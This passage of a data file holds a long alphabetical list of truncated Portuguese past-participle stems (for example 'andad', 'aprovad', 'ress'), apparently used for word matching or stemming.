","amuralhad","anabolizad","anafad","analisad","anarquizad","anatematizad","ancilosad","ancinhad","ancorad","andad","anestesiad","anexad","angariad","anglicizad","angulad","angustiad","animad","animalizad","aninhad","aniquilad","aniversariad","anodizad","anoitecid","anonimizad","anormalizad","anotad","anquilosad","ansiad","antagonizad","antecipad","antedatad","antepost","antojad","antolhad","antropizad","antropomorfizad","anualizad","anuíd","anulad","anunciad","apagad","apainelad","apaixonad","apalpad","apanhad","apaniguad","aparad","aparafusad","aparatad","aparecid","aparelhad","aparentad","apartad","apassamanad","apatetad","apavorad","apaziguad","apead","apedrejad","apegad","apelad","apelidad","apenad","apensad","apercebid","aperfeiçoad","aperread","apertad","apetecid","apiedad","apimentad","apitad","aplacad","aplainad","aplanad","aplaudid","aplicad","apocopad","apoderad","apodizad","apodrecid","apoiad","apologizad","apontad","apoquentad","aportad","aportuguesad","aposentad","apossad","apostad","apostatad","apostemad","apost","apostrofad","apoteosad","apoteotizad","apoucad","approvad","aprazid","apreciad","apreendid","apregoad","aprendid","apresentad","apressad","aprestad","aprisionad","aprofundad","aprontad","apropriad","aprovad","aproveitad","aprovisionad","aproximad","aprumad","apunhalad","apurad","aquaplanad","aquartelad","aquecid","aquentad","aquiescid","aquietad","arabizad","arad","arbitrad","arborescid","arborizad","arcabuzad","arcad","ardid","aread","arejad","argentad","arguid","argumentad","arianizad","armad","armazenad","aromatizad","arpejad","arpoad","arquead","arquejad","arquitetad","arquivad","arraigad","arrancad","arranhad","arranjad","arrasad","arrastad","arrazoad","arread","arrebanhad","arrebatad","arrebentad","arrebitad","arrecadad","arrecead","arredad","arredondad","arrefecid","arregalad","arreganhad","arreigad","arrematad","arremedad","arremessad","arrendad","arrepanhad","arrestad","arribad","arrimad","arriscad","arrogad","arrojad","arrombad","arrotad","arroubad","arroxead","arruad","arruinad","arrulhad","arrumad","arseniad","arterializad","articulad","artificializad","artilhad","asad","ascendid","asfaltad","asfixiad","asilad","aspirad","assacad","assaltad","assassinad","assead","assediad","assegurad","assemelhad","assenhoread","assentad","assentid","assertad","assestad","assignalad","assimilad","assinad","assinalad","assistid","assoberbad","assobiad","associad","assolad","assomad","assombrad","assoprad","assoread","assossegad","assoviad","assumid","assustad","atacad","atad","atalhad","atanazad","atapetad","atarracad","atarraxad","ataviad","atazanad","atead","atemorizad","atempad","atenazad","atendid","atentad","atenuad","aterrad","aterrissad","aterrorizad","atestad","atiçad","atid","atilad","atinad","atingid","atirad","ativad","atochad","atolad","atomizad","atordoad","atormentad","atracad","atraiçoad","atraíd","atrapalhad","atrasad","atravancad","atravessad","atrelad","atribuíd","atribulad","atritad","atroad","atrofiad","atropelad","attentad","atturad","atuad","atualizad","aturad","auferid","augad","augmentad","augurad","aumentad","aureolad","auscultad","ausentad","autenticad","automatizad","autoproclamad","autorizad","autuad","auxiliad","avaliad","avançad","avariad","avassalad","aventad","aventurad","averbad","avergonhad","averiguad","avermelhad","aviad","avinagrad","avind","avisad","avistad","avivad","aviventad","avoad","azedad","azotad","azulad","azulejad","babad","babujad","bacharelad","bafejad","bailad","bainhad","baixad","bajulad","balad","balançad","balancead","balbuciad","balcanizad","baldad","baldead","balead","balid","balouçad","bambolead","banalizad","bancad","banhad","banquetead","baptizad","baralhad","baratead","barbead","barganhad","barrad","barrid","basead","bastad","bastecid","batalhad","batid","batizad","batucad","bazad","beatificad","bebemorad","bebericad","bebid","beijad","beirad","beliscad","beneficiad","benzid","berrad","besuntad","bicad","bichad","bifurcad","bioacumulad","biotransformad","bisad","bisbilhotad","biscatead","bivacad","blandiciad","blasfemad","blasonad","blefad","blindad","blogad","bloquead","bocejad","boiad","boicotad","bojad","bolad","bombad","bombardead","bombead","borboletead","borbulhad","bordad","borrad","borrifad","botad","botanizad","boxead","bradad","bramid","brandid","branquead","brecad","brigad","brilhad","brincad","brindad","britad","brocad","brochad","bronzead","brotad","bufad","bugad","bulhad","burilad","burlad","burocratizad","buscad","buzinad","cabecead","cabid","cabriolad","caçad","cacarejad","cacetead","cachad","cachead","cacimbad","caçoad","cadastrad","caducad","cafetinad","cagad","caíd","calad","calafetad","calcad","calçad","calcificad","calcinad","calculad","calejad","calhad","calibrad","caluniad","cambad","cambalead","cambiad","caminhad","camuflad","canalizad","cancelad","canonizad","cansad","cantad","cantarolad","capacitad","capad","capinad","capitalizad","capitanead","capitulad","capotad","captad","capturad","caracterizad","caraterizad","carbonizad","cardad","carecid","cariciad","carimbad","carread","carregad","cascatead","casquinad","cassad","castigad","castrad","catad","catalisad","catalizad","catalogad","categorizad","catequizad","cativad","caucionad","causad","cautelad","cauterizad","cavad","cavalgad","cavoucad","cead","cecead","cedid","cegad","ceifad","celebrad","censurad","centelhad","centrad","centralizad","centrifugad","cercad","cerrad","certificad","cerzid","cessad","cevad","chacinad","chacoalhad","chafurdad","chamad","chamuscad","chanfrad","chantagead","chapad","chapead","chatead","checad","chefiad","chegad","cheirad","chiad","chibatad","chibatead","chicanad","chicotead","chifrad","chilread","chimarread","chimarronead","chocad","chocalhad","chorad","choramingad","chouvid","chovid","chufad","chumbad","chupad","chutad","chuviscad","cicatrizad","cifrad","cimentad","cindid","cingid","cintad","cintilad","circulad","circuncidad","circundad","circunscrit","circunstanciad","cisad","cisalhad","cismad","citad","civilizad","clamad","claread","clarificad","classificad","clicad","clonad","clorad","coadjuvad","coad","coagid","coagulad","coalescid","coalhad","coassinad","coaxad","cobert","cobiçad","cobrad","coçad","cocegad","cochichad","cochilad","codificad","coevoluíd","coexistid","cofiad","cogitad","coincidid","coisad","coisificad","coitad","colaborad","colad","colead","colecionad","coletad","colhid","colidid","coligad","coligid","collocad","colmad","colmatad","colocad","colonizad","colorid","comandad","combalid","combatid","combinad","comboiad","começad","comedid","comemorad","comendad","comentad","comercializad","cometid","comichad","comid","cominad","commeçad","comovid","compactad","compadecid","comparad","comparecid","compartilhad","compenetrad","compensad","competid","compilad","complementad","completad","complexad","complicad","comportad","compostad","compost","comprad","compreendid","comprehendid","comprimid","comprometid","comprovad","compulsad","computad","comungad","comunicad","comutad","concatenad","concebid","concedid","concentrad","concernid","concertad","concluíd","concordad","concorrid","concretizad","condecorad","condemnad","condenad","condensad","condicionad","condimentad","conduzid","conectad","confeccionad","conferid","confessad","confiad","configurad","confinad","confirmad","confiscad","conflitad","conformad","confortad","confraternizad","confrontad","confundid","congelad","congestionad","congraçad","congregad","conjecturad","conjeturad","conjugad","conjurad","connectad","conotad","conquistad","consagrad","conseguid","consentid","consertad","conservad","considerad","consignad","consistid","consolad","consolidad","conspirad","conspurcad","constad","constatad","consternad","constituíd","constrangid","construíd","consubstanciad","consultad","consumad","consumid","contactad","contad","contagiad","contaminad","contatad","contemplad","contendid","contentad","contestad","contid","continuad","contornad","contra-atacad","contraatacad","contrabalançad","contrabalancead","contrabandead","contrafeit","contraíd","contrariad","contrastad","contratad","contribuíd","contristad","controlad","conturbad","convalescid","convalidad","convencid","convencionad","conversad","convertid","convidad","convid","convind","convivid","convocad","convulsad","convulsionad","cooperad","coordenad","copiad","copulad","corad","cornead","coroad","correlacionad","correspondid","corricad","corrid","corrigid","corroborad","corrompid","cortad","cortejad","cosid","costead","costumad","costurad","cotad","cotejad","couraçad","cozid","cozinhad","craquead","cravad","cravejad","credenciad","creditad","cremad","crepitad","crescid","crestad","criad","cricrilad","crid","criminalizad","criptografad","crispad","cristalizad","cristianizad","criticad","crochetad","cromad","cronologizad","cronometrad","crucificad","cruzad","cubad","cubicad","cuidad","culminad","culpad","cultivad","cultuad","cumprid","cumprimentad","cumulad","curad","cursad","curtid","curto-circuitad","curtocircuitad","curvad","curvetead","cuspid","custad","custead","custodiad","customizad","cutucad","dadivad","dad","damasquinad","damnad","dançad","danificad","dardejad","datad","datilografad","deambulad","debatid","debicad","debilitad","debitad","debochad","debruçad","debulhad","debutad","debuxad","decaíd","decalcad","decantad","decapitad","dececionad","decepad","decepcionad","decidid","decifrad","declamad","declarad","declinad","decolad","decompost","decorad","decorrid","decotad","decrescid","decretad","decuplicad","dedicad","dedilhad","dedurad","deduzid","defecad","defendid","defenestrad","deferid","definhad","definid","deflorad","deformad","defraudad","defumad","deglaçad","deglacead","deglutid","degolad","degradad","degustad","deificad","deitad","deixad","delatad","delegad","deliberad","deliciad","delid","delimitad","delinead","delinquid","delongad","demandad","demarcad","demitid","demittid","democratizad","demolid","demonstrad","demorad","denigrid","denominad","denotad","dentad","dentead","denunciad","deparad","depauperad","depenad","dependid","depilad","deportad","depositad","depost","deprecad","depreciad","depredad","deprimid","depurad","deputad","derivad","derrabad","derramad","derrapad","derretid","derribad","derrocad","derrogad","derrotad","derrubad","derruíd","desabad","desabafad","desabalroad","desabilitad","desabituad","desabotoad","desabraçad","desabrochad","desacelerad","desacompanhad","desaconselhad","desacreditad","desactivad","desafiad","desafivelad","desafogad","desagradad","desagradecid","desagravad","desagregad","desaguisad","desajustad","desalentad","desalojad","desalvorad","desamarrad","desamparad","desancorad","desandad","desanimad","desaparecid","desapegad","desapontad","desaprovad","desarmad","desarraigad","desarranjad","desarrazoad","desarrumad","desarticulad","desarvorad","desasad","desatad","desatarraxad","desativad","desbastad","desbloquead","desbotad","descabelad","descaíd","descalçad","descamad","descambad","descansad","descarbonizad","descarnad","descaroçad","descarregad","descarrilad","descartad","descascad","descendid","descercad","descid","descobert","descolad","descolonizad","descolorid","descomplicad","descompost","desconcertad","desconfiad","desconfortad","descongelad","desconsagrad","desconseguid","desconsiderad","desconsolad","descontad","descontentad","desconversad","desconvidad","descoroçoad","descortinad","descrit","descubert","descuidad","desculpad","desdemocratizad","desdenhad","desdobrad","desejad","desemaranhad","desembalad","desembarcad","desembargad","desembestad","desempenhad","desencadead","desencaminhad","desencantad","desencontrad","desencorajad","desencriptad","desenganad","desenhad","desenrolad","desenterrad","desentranhad","desenvolvid","desequilibrad","deserdad","desertad","desesperad","desesperançad","desestabilizad","deseuropeizad","desfalcad","desfalecid","desfarçad","desfechad","desfeit","desferid","desfiad","desfigurad","desfivelad","desflorestad","desfocad","desfragmentad","desfraldad","desfrutad","desgastad","desgostad","desidratad","designad","desiludid","desimpedid","desinfetad","desinflad","desinstalad","desintegrad","desintoxicad","desistid","desjejuad","deslastrad","deslavad","desleixad","desligad","deslizad","deslocad","deslocalizad","deslogad","deslumbrad","deslustrad","desmagnetizad","desmaiad","desmamad","desmanchad","desmantelad","desmarcad","desmatad","desmembrad","desmentid","desmerecid","desmistificad","desmitificad","desmobilizad","desmontad","desmoralizad","desmoronad","desmotivad","desnivelad","desnortead","desobrigad","desobstruíd","desocupad","desolad","desonerad","desonrad","desordenad","desorganizad","desorientad","desossad","desovad","desoxidad","desoxigenad","despachad","despadronizad","despedaçad","despedid","despejad","despelad","despencad","despendid","desperdiçad","despersuadid","despertad","despid","despojad","despolarizad","despontad","desposad","despregad","desprendid","desprezad","desproporcionad","desprotegid","desprovid","desqualificad","desregulad","desrespeitad","dessalinizad","desseguid","dessulfurad","dessulfurizad","destacad","destelhad","desterrad","destilad","destillad","destinad","destituíd","destoad","destrancad","destratad","destrinçad","destrinchad","destroçad","destruíd","destrunfad","desumanizad","desunid","desvairad","desvalorizad","desvelad","desvendad","desviad","desvinculad","desvirginad","desvirtuad","detalhad","detectad","deteriorad","determinad","detestad","detetad","detid","detonad","devanead","devassad","devastad","devid","devolvid","devorad","devotad","deyxad","diagnosticad","dialogad","difamad","diferenciad","diferid","differid","dificultad","difratad","difundid","digerid","digitad","digitalizad","dignad","dilacerad","dilapidad","dilatad","diluíd","diminuíd","dinamitad","dinamizad","diplomad","direccionad","direcionad","dirigid","dirimid","discad","discernid","disciplinad","discordad","discorrid","discretead","discriminad","discutid","disfarçad","disparad","dispensad","dispersad","disponibilizad","dispost","disputad","dissecad","disseminad","dissentid","dissimulad","dissipad","dissolvid","dissuadid","distad","distanciad","distinguid","distorcid","distraíd","distratad","distribuíd","ditad","dit","divagad","diversificad","divertid","dividid","divisad","divulgad","dizimad","doad","dobrad","doíd","domad","domesticad","domiciliad","dominad","dopad","dormid","dormitad","dosad","dotad","doutrinad","dragad","dramatizad","drenad","driblad","drogad","dublad","duchad","duelad","duplicad","durad","duvidad","eclipsad","ecoad","economizad","edificad","editad","educad","efectivad","efectuad","efetivad","efetuad","eivad","ejaculad","ejetad","elaborad","electrificad","electrocutad","elegid","eleit","elencad","eletrificad","eletrocutad","eletrolisad","elevad","eliminad","elogiad","elucidad","elucubrad","eludid","emaciad","emagrecid","emanad","emancipad","emaranhad","emasculad","embaíd","embainhad","embalad","embalsamad","embaraçad","embaralhad","embarcad","embasad","embebedad","embebid","embeiçad","embelezad","embirrad","embolad","embonecad","emboscad","embotad","embotelhad","embrenhad","embriagad","embromad","embrulhad","embuçad","emburrad","emburrecid","embutid","emendad","ementad","emergid","emigrad","emitid","emmagrecid","emmoldurad","emocionad","emoldurad","empachad","empacotad","empalad","empalhad","empalidecid","empanad","empapelad","emparedad","empatad","empeçonhad","empedernid","empenhad","emperrad","empestead","empilhad","empinad","empiorad","empoad","empobrecid","empoderad","empoleirad","empreendid","empregad","empregu","emprehendid","empreitad","emprenhad","emprestad","empunhad","empurrad","emudecid","emulad","emurchecid","enaltecid","enamorad","encabulad","encaçapad","encadead","encadernad","encaixad","encaixilhad","encaixotad","encalhad","encaminhad","encampad","encanad","encantad","encapad","encapsulad","encapuzad","encaracolad","encarad","encarecid","encarnad","encarniçad","encaroçad","encarquilhad","encarregad","encarregu","encarrilhad","encasquetad","encayxad","encefalizad","encenad","encerad","encerrad","encestad","encetad","encharcad","enchid","enclausurad","encobert","encoleirad","encolerizad","encolhid","encomendad","encompridad","encontrad","encorajad","encordoad","encorpad","encortinad","encostad","encravad","encrespad","encriptad","encurtad","endereçad","endireitad","endividad","endoidecid","endossad","endoutrinad","endurecid","enegrecid","energizad","enervad","enevoad","enfardad","enfardelad","enfarruscad","enfatizad","enfatuad","enfeitad","enfeitiçad","enferrujad","enfiad","enfileirad","enforcad","enfraquecid","enfrentad","enfronhad","enfumaçad","enfurecid","engabelad","engaiolad","engajad","engambelad","enganad","enganchad","engarrafad","engasgad","engastad","engatad","engatinhad","engendrad","engessad","englobad","engodad","engolid","engomad","engordad","engordurad","engrandecid","engravidad","engraxad","engrenad","engrossad","enguiçad","enlaçad","enlatad","enlouquecid","enmendad","enquadrad","enraivecid","enraizad","enramalhetad","enredad","enriçad","enriquecid","enrocad","enrolad","enrubescid","enrugad","ensaboad","ensacad","ensaiad","ensanguentad","ensangüentad","ensejad","ensinad","ensolarad","ensombrad","ensopad","ensurdecid","entabuad","entabulad","entalhad","entardecid","entediad","entelhad","entendid","enternecid","enterrad","entintad","entitulad","entoad","entornad","entorpecid","entortad","entrad","entrançad","entranhad","entravad","entreabert","entrecortad","entregad","entregu","entrelaçad","entrelinhad","entremead","entreolhad","entretid","entrevad","entrevistad","entrevist","entrincheirad","entristecid","entronad","entronizad","entulhad","entupid","entusiasmad","enumerad","enunciad","envelhecid","envenenad","envergad","envergonhad","envernizad","enviad","enviesad","enviuvad","envolvid","enxadad","enxamead","enxergad","enxertad","enxotad","enxugad","enxut","epitomizad","equilibrad","equipad","equiparad","equivocad","erguid","erigid","erodid","erotizad","erradicad","eructad","esbarrad","esbatid","esboçad","esbodegad","esbofetead","esbombardead","esbracejad","esbrasead","esbulhad","esburacad","escachoad","escalad","escaldad","escalfad","escalonad","escalpad","escalpelad","escamad","escançad","escancarad","escancead","escandid","escanead","escapad","escapulid","escarafunchad","escaramuçad","escarnecid","escarnid","escarrad","escassead","escavad","esclarecid","escoad","escolarizad","escolhid","escoltad","escondid","escorad","escorregad","escorrid","escovad","escravizad","escrit","escriturad","escrutinizad","escuitad","esculachad","esculpid","escurecid","escusad","escutad","esfalfad","esfaquead","esfarelad","esfarrapad","esfolad","esfomead","esforçad","esfregad","esfriad","esfuziad","esganad","esgarçad","esgotad","esgravatad","esgrimid","esguichad","esmaecid","esmagad","esmaltad","esmerad","esmigalhad","esmiuçad","esmorecid","esmurrad","espaçad","espacead","espairecid","espalhad","espalmad","espancad","espantad","esparramad","especializad","especificad","especulad","espedid","espelhad","esperad","esperançad","espernead","espezinhad","espiad","espichad","espigad","espinafrad","espionad","espiritualizad","espirrad","espocad","espojad","esporrad","esposad","espoucad","espreitad","espremid","espumad","esquadrinhad","esquecid","esquentad","esquiad","esquilad","esquinad","esquivad","estabelecid","estabilizad","estacad","estacionad","estad","estafad","estagiad","estagnad","estalad","estampad","estandardizad","estanhad","estarrecid","estatizad","estatuíd","estendid","estenografad","estenographad","estereotipad","esterilizad","esticad","estigmatizad","estilhaçad","estilizad","estimad","estimulad","estiolad","estipulad","estirad","estivad","estocad","estoirad","estolad","estontead","estorvad","estourad","estraçalhad","estragad","estralad","estrangulad","estranhad","estratificad","estread","estreiad","estreitad","estrelad","estremecid","estressad","estridulad","estripad","estrondead","estropead","estropiad","estrugid","estrupidad","estruturad","estudad","estufad","estupeficad","estupidificad","estuprad","esvaziad","esverdead","etiquetad","europeizad","evacuad","evadid","evangelizad","evaporad","eventrad","evidenciad","evitad","evocad","evolad","evoluíd","evolvid","exacerbad","exagerad","exalad","exaltad","examinad","exasperad","exaurid","excedid","excelid","excellid","excepcionad","exceptuad","excetuad","excitad","exclamad","excluíd","excomungad","excretad","excutid","executad","exercid","exercitad","exhalad","exhortad","exibid","exigid","exilad","eximid","existid","exonerad","exorcizad","exortad","expandid","expatriad","expectorad","expedid","experienciad","experimentad","expirad","explanad","explicad","explorad","exportad","expost","expressad","exprimid","expropriad","expugnad","expulsad","expurgad","exsecutad","extasiad","extendid","extenuad","exteriorizad","exterminad","externalizad","extinguid","extint","extirpad","extorquid","extractad","extraditad","extraíd","extratad","extraviad","exultad","exumad","fabricad","facetad","facilitad","facturad","facultad","fadigad","fagocitad","fagulhad","falad","falecid","falhad","fallad","falsead","falsificad","faltad","familiarizad","fantasiad","fardad","farejad","farfalhad","fartad","fascinad","fatiad","fatigad","fatorad","faturad","faxinad","fechad","fech","fecundad","fedid","feit","felicitad","fenad","fendid","fenecid","ferid","fermentad","ferrad","fertilizad","fervid","fervilhad","festad","festejad","fiad","ficad","figurad","filad","filiad","filmad","filosofad","filtrad","finad","finalizad","financiad","fincad","findad","find","fingid","finlandizad","firmad","fiscalizad","fisgad","fissionad","fissurad","fitad","fixad","flabelad","flagelad","flanquead","flexionad","flipad","floodad","floread","florescid","fluíd","fluorad","fluoretad","flutuad","focalizad","fodid","fofocad","folgad","folhead","fomentad","foragid","forcad","forçad","forjad","formad","formatad","formigad","formulad","fornecid","fornicad","forrad","fortalecid","fortificad","fosfatad","fosforescid","fosforilad","fossad","fotocopiad","fotografad","fraccionad","fracionad","fragmentad","franjad","franquead","franzid","fraquead","fraquejad","frasead","fraternizad","fraturad","fraudad","fread","freiad","frequentad","freqüentad","fresquead","friccionad","frisad","fritad","frit","fruíd","frustrad","fuçad","fugid","fumad","fumegad","fumigad","funccionad","funcionad","fundad","fundamentad","fundid","fungad","furad","furtad","fusionad","fustigad","futricad","fuzilad","gabad","gadanhad","gaguejad","galgad","galopad","galopead","galvanizad","gamad","ganhad","ganh","ganid","ganzad","garantid","gargalhad","gargarejad","gaseificad","gastad","gast","gatunad","gelad","gemid","generalizad","genotipad","gerad","gerenciad","gerid","germinad","gestad","gesticulad","gestualizad","ginasticad","girad","globalizad","gloriad","glorificad","glosad","golead","golpead","gomitad","googlad","gorad","gorjead","gostad","gotejad","governad","gozad","gracejad","gracitad","gradad","graduad","grafitad","gramad","grampead","granizad","grasnad","grasnid","grassitad","gratificad","gratinad","gravad","gravitad","grelhad","gripad","gritad","grudad","grunhid","guardad","guarnecid","guerread","guglad","guiad","guinchad","guindad","guisad","habilitad","habitad","habituad","hackead","halogenad","harmonizad","hastead","havid","helenizad","herdad","hesitad","hibernad","hibridizad","hidratad","hidrogenad","hipertrofiad","hipnotizad","hipotecad","homenagead","homogeneizad","homologad","honrad","horrorizad","hortad","hospedad","hospitalizad","humedecid","humidecid","humilhad","içad","idead","idealizad","identificad","ideologizad","idolatrad","ignorad","igualad","ilegalizad","ilhad","ilibad","ilidid","iludid","iluminad","ilustrad","imaginad","imanad","imantad","imbuíd","imigrad","imiscuíd","imitad","imobilizad","imolad","impactad","impedid","impelid","imperad","impetrad","implantad","implementad","implicad","implorad","importad","importunad","impossibilitad","impost","imprecad","impregnad","impressionad","impress","imprimid","improvisad","impulsionad","imputad","imunizad","inactivad","inalad","inaugurad","incapacitad","incendiad","incensad","incentivad","inchad","incidid","incinerad","incisad","incitad","inclinad","incluíd","inclus","incomodad","incorporad","incorrid","incriminad","incrustad","incubad","inculcad","inculpad","incumbid","indagad","indeferid","indefinid","indemnizad","indenizad","independid","indexad","indicad","indiciad","indispost","indultad","industrializad","induzid","inebriad","inerid","infectad","inferid","infestad","infiltrad","infirmad","inflad","inflamad","influenciad","influíd","informad","infringid","ingerid","inhibid","inibid","iniciad","inicializad","injetad","injungid","injuriad","injustiçad","inocentad","inovad","inquietad","inquirid","inscrit","inserid","insinuad","insistid","inspecionad","inspirad","instalad","instanciad","instigad","instituíd","instruíd","insultad","integrad","inteirad","intencionad","intensificad","interagid","intercalad","intercambiad","intercedid","interceptad","interditad","interessad","interferid","interligad","intermediad","internacionalizad","internad","interpelad","interpolad","interpost","interpretad","interrogad","interrompid","intersectad","intervind","intimad","intimidad","intitulad","intoxicad","intricad","intrigad","intrincad","introduzid","intrometid","inundad","inutilizad","invadid","invalidad","invectivad","invejad","inventad","invernad","invertid","investid","investigad","invocad","iodad","irad","irradiad","irrigad","irritad","irrogad","irrompid","iscad","isolad","iterad","jactad","janelad","jantad","japonizad","jardinad","jazid","jejuad","joeirad","jogad","jorrad","jubilad","judiad","julgad","jungid","juntad","jurad","juramentad","justapost","justificad","labutad","laçad","lacrad","lacrimejad","ladead","ladrilhad","lagartead","lajead","lambid","lamentad","laminad","lamuriad","lançad","lancead","lanchad","lapidad","largad","lascad","lastad","lastimad","latejad","latid","latinad","latinizad","lavad","lavrad","lẽbrad","legad","legalizad","legendad","legislad","legitimad","leiload","lembrad","lesad","levad","levantad","levitad","liberad","libertad","licitad","lidad","liderad","lid","ligad","limad","limitad","limpad","limp","linchad","lingotad","liquefeit","liquidad","lisonjad","lisonjead","listad","listrad","litigad","livrad","lixiviad","lobrigad","locad","localizad","locupletad","lograd","lotad","lotead","louvad","lubrificad","lucrad","luctad","ludibriad","ludificad","lufad","luitad","lustrad","lutad","luzid","macadamizad","maçad","macaquead","macerad","machucad","maculad","mãdad","madrugad","madurad","magnetizad","magnificad","magoad","maiusculad","maiusculizad","malograd","maltad","maltratad","mamad","manad","mancad","manchad","mandad","manejad","manifestad","manipulad","manjad","mantid","manufaturad","manusead","maquiad","maquinad","marcad","marchad","marejad","marinad","marquetead","marretad","martelad","martirizad","mascad","mascarad","mascatead","massacrad","massagead","mastigad","masturbad","matad","matriculad","maturad","maximizad","maxixad","mead","mealhad","mecanizad","medid","meditad","medrad","melad","melhorad","memorizad","mencionad","mendigad","menead","menosprezad","menstruad","mentid","mercad","merecid","mergulhad","mesclad","mesmerizad","metabolizad","metid","metilad","metralhad","mexericad","mexid","miad","micad","migrad","mijad","milhad","militad","mimad","mimetizad","mimid","minad","minerad","mineralizad","minimizad","ministrad","minuciad","minudenciad","mirad","mirrad","missad","mistificad","misturad","mitigad","mixad","mixturad","mobilizad","modelad","moderad","modificad","modulad","mofad","moíd","moldad","molestad","molhad","monitorad","monitorizad","monologad","monopolizad","montad","morad","mordid","mordiscad","morgad","morrid","mortificad","mort","moscad","moshad","mosquead","mossegad","mostrad","motejad","motivad","mourejad","movid","movimentad","mudad","mugid","multad","multiplicad","mumificad","munid","murad","murchad","murmurad","mutilad","nacionalizad","nadad","nad","narrad","nasalad","nascid","naufragad","navegad","necessitad","negad","negligenciad","negociad","neutralizad","nevad","nhanhad","niponizad","niquelad","nitrificad","nivelad","nobilitad","nocautead","nomead","normalizad","notad","noticiad","notificad","nublad","numerad","numerizad","nutrid","obcecad","obedecid","objetad","objetivad","obnubilad","obrad","obrigad","obscurecid","observad","obstinad","obstruíd","obtemperad","obtid","obturad","obviad","ocasionad","occorrid","ocorrid","ocultad","ocupad","odiad","odorizad","ofegad","ofendid","oferecid","oficializad","ofuscad","oitavad","olead","olhad","olvidad","omitid","ondead","ondulad","onerad","operad","opinad","opiniad","opost","opprimid","oprimid","optad","optimizad","orad","orbitad","orçad","ordenad","ordenhad","organizad","orgulhad","orientad","orientalizad","originad","orlad","ornad","ornamentad","orquestrad","oscilad","ostentad","ostracizad","otimizad","ouriçad","ousad","outorgad","ouvid","ouvist","ovulad","oxidad","oxigenad","ozonizad","pacificad","pactad","pactuad","padecid","padronizad","pagad","paginad","pag","pairad","pajead","palead","palestrad","palpad","palpitad","palrad","panad","papad","papaguead","paparicad","papead","parabenizad","parad","parafrasead","parafusad","paralisad","paralizad","parasitad","parcelad","parecid","parid","parlad","parodiad","participad","partid","partilhad","pasmad","passad","passarinhad","passead","pastad","pasteurizad","pastorad","pastoread","patentead","patinad","patrocinad","patrulhad","pausad","pautad","pavimentad","pechinchad","pedalad","pedid","pegad","peg","pêg","peidad","pejad","pelad","pelead","pelejad","penad","penalizad","pendid","pendurad","peneirad","penetrad","penhorad","pensad","pensionad","pentead","perambulad","percalçad","percebid","percorrid","percutid","perdid","perdoad","perdurad","perecid","peregrinad","perfeit","perfilad","perfilhad","perfolhead","perfumad","perfurad","perguntad","perigad","perlavad","permanecid","permead","permitid","permutad","pernoitad","pernoutad","perpassad","perpetrad","perpetuad","perseguid","perseverad","persignad","persistid","personalizad","personificad","perspectivad","perspetivad","persuadid","pertencid","perturbad","pervertid","pescad","pesquisad","pestanejad","petiscad","petrificad","photographad","piad","picad","pichad","picotad","pifad","pigarread","pigmentad","pilad","pilhad","pinad","pincelad","pingad","pintad","pintalgad","piorad","pipetad","pirad","piratead","pisad","piscad","pisotead","pixelizad","plagiad","plainad","planad","planead","planejad","plangid","plantad","plasmad","plastificad","platinad","plissad","podad","podid","polid","polimerizad","polinizad","politizad","poluíd","polvilhad","ponderad","ponhad","pontuad","popularizad","porfiad","pormenorizad","portad","posicionad","pospost","possibilitad","possuíd","postad","post","postulad","potencializad","poupad","pousad","povoad","practicad","praguejad","prantead","praticad","pré-datad","prédatad","precedid","preceituad","precipitad","precisad","preconizad","predad","predestinad","predicad","predominad","preenchid","prefabricad","prefaciad","preferid","pregad","prejudicad","prelibad","premeditad","premiad","prendad","prendid","prensad","preoccupad","preocupad","preparad","prescrevid","prescrit","presenciad","presentead","preservad","presidid","pres","pressagiad","pressentid","pressionad","pressupost","pressurizad","prestad","presumid","pretendid","preterid","prevalecid","prevaricad","prevenid","previst","prezad","principiad","principia","printad","priorizad","privad","privatizad","privilegiad","problematizad","procedid","processad","proclamad","procrastinad","procriad","procurad","produzid","profanad","proferid","profetizad","prognosticad","programad","progredid","prohibid","proibid","projetad","proliferad","prolongad","prometid","promovid","promulgad","pronunciad","propagad","proporcionad","propost","propulsad","prorrogad","proscrit","proselitad","proselitizad","prosperad","prosseguid","prostrad","protagonizad","protegid","protestad","provad","providenciad","provid","provind","provisionad","provocad","pruíd","prurid","publicad","publicitad","pugnad","puíd","pulad","pulicad","pulinhad","pulsad","pululad","pulverizad","punguead","punid","purgad","purificad","putrefeit","puxad","quadrad","quadriculad","quadruplicad","qualificad","quarentenad","quebrad","quebrantad","quedad","queimad","queixad","quelatad","querelad","querid","questionad","quicad","quilhad","quintuplicad","quitad","rachad","raciocinad","racionalizad","ralad","ralhad","ramificad","randomizad","rangad","rangid","ranquead","rapad","raptad","rarefeit","rascad","rascunhad","rasgad","raspad","rastejad","rastelad","rastread","rastrejad","ratead","ratificad","reabilitad","reafirmad","reagid","reagrupad","realçad","realizad","realojad","reanalisad","reanimad","reaproveitad","reaquecid","rearranjad","rearrumad","reassistid","reavivad","rebaixad","rebatid","rebatizad","rebelad","rebentad","rebobinad","rebocad","rebolad","rebrilhad","rebuçad","rebuscad","recaíd","recalcad","recalcitrad","recalculad","recapitulad","recarregad","recead","recebid","receitad","rechaçad","reciclad","recitad","reclamad","reclinad","recobert","recolhid","recomeçad","recomendad","recompensad","reconciliad","reconfirmad","reconfortad","reconhecid","reconquistad","reconsiderad","reconstituíd","recontad","reconvocad","recopiad","recordad","recorrid","recortad","recostad","recozid","recread","recriad","recristalizad","recrudescid","recrutad","rectificad","recuad","recuperad","recurvad","recusad","redatad","redefinid","redescobert","redescrit","redigid","redigitad","redimid","redirecionad","redobrad","reduzid","reelegid","reembolsad","reencarnad","reenchid","reencontrad","reenviad","reescrit","reestruturad","refeit","referenciad","referid","refinad","refletid","reflorestad","refogad","reforçad","reformad","reformulad","refratad","refread","refrescad","refrigerad","refugiad","refutad","regad","regatead","regenerad","regid","registad","registrad","regozijad","regressad","regulad","regulamentad","regularizad","regurgitad","reinad","reiniciad","reinstalad","reinventad","reiterad","reivindicad","rejeitad","rejeytad","rejogad","rejuvenescid","relacionad","relatad","relembrad","relid","relinchad","relutad","reluzid","relvad","remad","remanescid","rematad","remedad","remediad","remendad","remetid","remexid","remid","remodelad","remontad","removid","remunerad","renascid","rendad","renderizad","rendid","renegad","renhid","renomead","renovad","renunciad","reocorrid","reordenad","reorganizad","reoxidad","reparad","repartid","repassad","repelid","repensad","repetid","repisad","replantad","replicad","reportad","repost","repousad","repreendid","representad","reprimendad","reprimid","reprisad","reprocessad","reprochad","reproduzid","reprovad","repugnad","reputad","requentad","requerid","requestad","requisitad","rescindid","resenhad","reservad","resfolegad","resfriad","resgatad","resguardad","residid","resignad","resistid","resmungad","resolvid","respeitad","respigad","respirad","resplandecid","resplandescid","resplendecid","respondid","responsabilizad","ressaltad","ressalvad","ressarcid","ressecad","ress